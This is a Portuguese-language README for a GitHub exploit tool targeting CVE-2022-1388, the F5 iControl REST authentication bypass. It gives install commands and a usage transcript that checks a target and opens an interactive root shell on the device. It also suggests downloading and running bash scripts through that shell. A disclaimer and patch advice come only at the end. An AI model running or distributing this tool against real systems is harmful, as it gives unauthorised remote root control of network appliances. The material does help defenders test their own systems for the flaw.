
Uma Prova de Conceito Aprimorada para CVE-2022-1388 com um Shell Interativo
POC aprimorado para CVE-2022-1388 que afeta vários produtos F5.
Esta é uma versão aprimorada do Proof of Concept da Horizon3 para CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Esta versão contém várias melhorias, bem como um shell interativo para executar comandos remotos.
A análise técnica de causa raiz da vulnerabilidade feita pela Horizon3 pode ser encontrada em seu blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Condições necessárias de uma requisição para explorar esta vulnerabilidade:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Não requer o uso de qualquer conexão TCP reversa ou listeners.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
Observe que, ao executar o shell interativo em um sistema sem patch, certos comandos e sintaxes podem não funcionar ou não fornecer o resultado esperado. Isso provavelmente se deve ao uso de JSON nas requisições e respostas da API do servidor. Para evitar problemas, tente não usar caracteres individuais comuns à sintaxe JSON, como dois-pontos, vírgulas, chaves, colchetes e especialmente aspas ao usar o shell interativo. Qualquer sintaxe JSON dentro de um comando deve ser estruturada em formato.
Usar qualquer tipo de sintaxe JSON não estruturada dentro de um comando pode levar a uma requisição de API malformada ao servidor e pode deixar você com: nenhuma saída de comando, nada sendo executado, ou pode expulsá-lo completamente do script python. Isso, infelizmente, torna alguns comandos inutilizáveis. Para contornar esse problema, você pode escrever um script bash, baixá-lo para o servidor e executá-lo usando o shell interativo. Também não é possível mudar de diretório usando o comando 'cd'.
De qualquer forma, você ainda deve conseguir obter saída básica de comandos. Se você não obtiver saída de comando, isso não significa que o comando não foi executado. No entanto, você terá que descobrir isso usando sua própria análise.
Atualize para a versão mais recente ou mitigue seguindo as instruções do F5 Security Advisory
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.